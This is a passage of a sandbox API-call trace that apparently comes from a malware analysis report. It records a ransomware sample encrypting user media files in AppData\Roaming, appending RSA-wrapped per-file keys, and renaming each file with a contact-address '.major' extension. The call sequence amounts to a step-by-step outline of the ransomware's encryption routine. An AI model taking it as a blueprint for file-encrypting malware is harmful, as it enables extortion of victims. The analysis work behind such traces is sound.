lpNumberOfBytesRead=0x2e3f9b4*=0x599f, lpOverlapped=0x0) returned 1 [0155.468] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-22943, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.468] WriteFile (in: hFile=0x6a8, lpBuffer=0x659258*, nNumberOfBytesToWrite=0x599f, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x659258*, lpNumberOfBytesWritten=0x2e3f9b4*=0x599f, lpOverlapped=0x0) returned 1 [0155.468] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0155.468] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x659258 | out: hHeap=0x570000) returned 1 [0155.468] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x599f [0155.468] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.468] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.468] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0155.468] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0155.469] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0155.469] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0155.469] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="AmvIfylKmVW5Cpk4IPkrna68sAusHHwS0axPNS843VXwZs8dHyuCEZ/bB8c4adpM\nCKIVUtthWMPfQcnDWvWzIC/qiyb6WL1zDgHjpM/8kUjLiqMPdy9eIFpZmtAge33H\nLi36xfowYLKqZVhGggGytIKxV6W7pfjwBOCAZSftlpXUQIFD/cL/+D2gdxtiZhJZ\nXKd2RST7CsYw9PGfGHPYzqMBeko+npcW5+zRMVdo5xq9jdYCXDLb+5OZzJeMAZbc\no9yZ5o0EkXISfhikQleQ7l9bmxDAx4ePniKdJ5t8c0lnGHq71h8bmVl85LBPTKNu\nrRH67pgJL6USqku6BRH7Tg==\n", pcchString=0x2e3f9a8) returned 1 [0155.469] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0155.469] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.469] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.469] CloseHandle (hObject=0x6a8) returned 1 [0155.469] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0155.469] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\BjBC.avi" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\bjbc.avi"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\BjBC.avi.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\bjbc.avi.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0155.470] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0155.470] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1180 | out: hHeap=0x570000) returned 1 [0155.470] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be528 | out: hHeap=0x570000) returned 1 [0155.470] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be4d0 | out: hHeap=0x570000) returned 1 [0155.470] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6980 [0155.470] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c11a8 [0155.471] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0155.471] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\9NAPcyvPM4.mp4", dwFileAttributes=0x80) returned 1 [0155.471] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6710 [0155.471] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e2e0 [0155.471] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6710 | out: hHeap=0x570000) returned 1 [0155.471] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\9NAPcyvPM4.mp4" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\9napcyvpm4.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0155.471] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=89894) returned 1 [0155.471] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x15f26) returned 0x2e61f30 [0155.471] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x15f26) returned 0x2e77e60 [0155.471] ReadFile (in: hFile=0x6a8, lpBuffer=0x2e61f30, nNumberOfBytesToRead=0x15f26, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e61f30*, lpNumberOfBytesRead=0x2e3f9b4*=0x15f26, lpOverlapped=0x0) returned 1 [0155.474] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-89894, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.474] WriteFile (in: hFile=0x6a8, lpBuffer=0x2e77e60*, nNumberOfBytesToWrite=0x15f26, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e77e60*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15f26, lpOverlapped=0x0) returned 1 [0155.474] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e61f30 | out: hHeap=0x570000) returned 1 [0155.475] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e77e60 | out: hHeap=0x570000) returned 1 [0155.475] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x15f26 [0155.475] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.475] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.476] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0155.476] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0155.476] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0155.476] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0155.476] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="Gcokh/PDStfEweC0vsmEavtcS4S3aks9raaZmNXKZKzLYSFXAoDCsBbqeh00uns4\nzJOn4ku+usE2HZ/h+uJabUv/RHSRUU+Rb0WElUxHeMlJrH7fugw6nl3o60C9CAbZ\nnUxrFGu80Uf6sX6RtJrx1+PoEyTGLfaqEF/VoA2xXdw/lWYzlKw67vbiFGMxf3k6\nlbVnuXwubHAT2qV5c2bIowtdcDUGUmzP0YIl9yNvX7oC7PLfLi8l69vLfuypI+gL\nrXtGsmHseiUn6SzXPG2cwXAazoJOpICkJ5m/u5TVFgFo7Ont6E+SNTPCc7QOVsj5\nN2ru8KOhFPOtS6nuvvcMZQ==\n", pcchString=0x2e3f9a8) returned 1 [0155.476] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0155.476] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.476] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.477] CloseHandle (hObject=0x6a8) returned 1 [0155.477] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0155.477] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\9NAPcyvPM4.mp4" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\9napcyvpm4.mp4"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\9NAPcyvPM4.mp4.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\9napcyvpm4.mp4.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0155.478] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e2e0 | out: hHeap=0x570000) returned 1 [0155.478] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c11a8 | out: hHeap=0x570000) returned 1 [0155.478] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0155.478] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eb30 | out: hHeap=0x570000) returned 1 [0155.478] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be8f0 [0155.478] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c10b8 [0155.478] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0155.478] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\5marn.jpg", dwFileAttributes=0x80) returned 1 [0155.479] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5beb58 [0155.479] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0155.479] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beb58 | out: hHeap=0x570000) returned 1 [0155.479] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\5marn.jpg" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\5marn.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0155.479] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=93254) returned 1 [0155.479] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x16c46) returned 0x2e61f30 [0155.479] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x16c46) returned 0x2e78b80 [0155.479] ReadFile (in: hFile=0x6a8, lpBuffer=0x2e61f30, nNumberOfBytesToRead=0x16c46, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e61f30*, lpNumberOfBytesRead=0x2e3f9b4*=0x16c46, lpOverlapped=0x0) returned 1 [0155.482] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-93254, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.482] WriteFile (in: hFile=0x6a8, lpBuffer=0x2e78b80*, nNumberOfBytesToWrite=0x16c46, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e78b80*, lpNumberOfBytesWritten=0x2e3f9b4*=0x16c46, lpOverlapped=0x0) returned 1 [0155.482] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e61f30 | out: hHeap=0x570000) returned 1 [0155.482] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e78b80 | out: hHeap=0x570000) returned 1 [0155.482] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x16c46 [0155.482] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.482] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.483] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0155.483] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0155.483] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0155.483] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0155.483] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="cogcM+4aapAdnNIEKxK7CXXMN0HZxiYapFaJADIVCeCzvb2YeBLGR8OisaiHedoT\nNOrbW/4t/oMMan5iuzh0xHH6jkQZ+YJRF4rMxMSJEAtRT+Y9xe1fiykkRM8gfBKr\nsPETUu2zl5CL+ieSNgJMk8AxKGQUwCgUR8WvJAr3Ju96k5T+zVeGRhpYq1o5hc1e\nBurOTnyH2nVmd9eWHjvF+m+EhdWHf2Bq7NEvZDZnd4+Tx1I21YXG9roaIPCUJ+EL\nFqCV1xF2mfkehEq+z78afYLRkR6TV+YdXF2oXBO9gLikNX+gA9Wj2q+wgNuJhbXa\nT6l2hPnFaQ3W4dIbYPbMFw==\n", pcchString=0x2e3f9a8) returned 1 [0155.483] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0155.483] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.483] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.483] CloseHandle (hObject=0x6a8) returned 1 [0155.483] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0155.483] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\5marn.jpg" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\5marn.jpg"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\5marn.jpg.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\5marn.jpg.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0155.485] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0155.485] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c10b8 | out: hHeap=0x570000) returned 1 [0155.485] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be8f0 | out: hHeap=0x570000) returned 1 [0155.485] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be3c8 | out: hHeap=0x570000) returned 1 [0155.485] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b67e0 [0155.485] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1248 [0155.485] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0155.485] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\1jFRqMGYP.mp4", dwFileAttributes=0x80) returned 1 [0155.485] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b68b0 [0155.485] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e398 [0155.485] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b68b0 | out: hHeap=0x570000) returned 1 [0155.485] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\1jFRqMGYP.mp4" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\1jfrqmgyp.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0155.485] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=62664) returned 1 [0155.485] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf4c8) returned 0x6538b0 [0155.486] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf4c8) returned 0x2e61f30 [0155.486] ReadFile (in: hFile=0x6a8, lpBuffer=0x6538b0, nNumberOfBytesToRead=0xf4c8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0xf4c8, lpOverlapped=0x0) returned 1 [0155.488] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-62664, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.488] WriteFile (in: hFile=0x6a8, lpBuffer=0x2e61f30*, nNumberOfBytesToWrite=0xf4c8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e61f30*, lpNumberOfBytesWritten=0x2e3f9b4*=0xf4c8, lpOverlapped=0x0) returned 1 [0155.488] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0155.488] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e61f30 | out: hHeap=0x570000) returned 1 [0155.488] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xf4c8 [0155.488] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.488] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.488] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0155.488] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0155.488] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0155.488] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0155.488] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="8fNPpow184vYcN+CEYqIUlR4/Szq77FkID+epbNerYVd1NgwBk6f5gr/b6l5qhK8\nVkIQFPVeDE9YNDTmWg6AHJImHeujIkoJx3ZInf7DQuuz68qnMaK1w8T2iqDMvsUq\nhrti4/jUuMt/G/5dXOeHipikKYu7If9DOlUo1BtGFZDS1xRs5qIDQQaLBpXEPjy5\nIk0FzBFJ2l3c1M+CESwlIfVRhE90cJkAKqZ/FGg+wunJ659wCaN0usOz11K89RQk\netOMvSk4tovGA8mwY1dh1Uk/8jPoFfiaD+sN/vwYDo/5RbSLvKH8kjOYRP7AuMWl\nBD0Pb6NSwPH8Cu5Re9qRVw==\n", pcchString=0x2e3f9a8) returned 1 [0155.488] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0155.489] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.489] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.489] CloseHandle (hObject=0x6a8) returned 1 [0155.489] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0155.489] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\1jFRqMGYP.mp4" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\1jfrqmgyp.mp4"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\1jFRqMGYP.mp4.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\1jfrqmgyp.mp4.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0155.493] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6918 [0155.493] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1158 [0155.493] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0155.493] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\-LHHhSld27E.bmp", dwFileAttributes=0x80) returned 1 [0155.493] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6368 [0155.493] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e678 [0155.493] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\-LHHhSld27E.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\-lhhhsld27e.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0155.494] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=26446) returned 1 [0155.494] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x674e) returned 0x6538b0 [0155.494] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x674e) returned 0x65a008 [0155.494] ReadFile (in: hFile=0x6a8, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x674e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x674e, lpOverlapped=0x0) returned 1 [0155.494] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-26446, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.494] WriteFile (in: hFile=0x6a8, lpBuffer=0x65a008*, nNumberOfBytesToWrite=0x674e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x65a008*, lpNumberOfBytesWritten=0x2e3f9b4*=0x674e, lpOverlapped=0x0) returned 1 [0155.495] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x674e [0155.495] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.495] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.495] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0155.495] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0155.495] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0155.495] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0155.495] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: 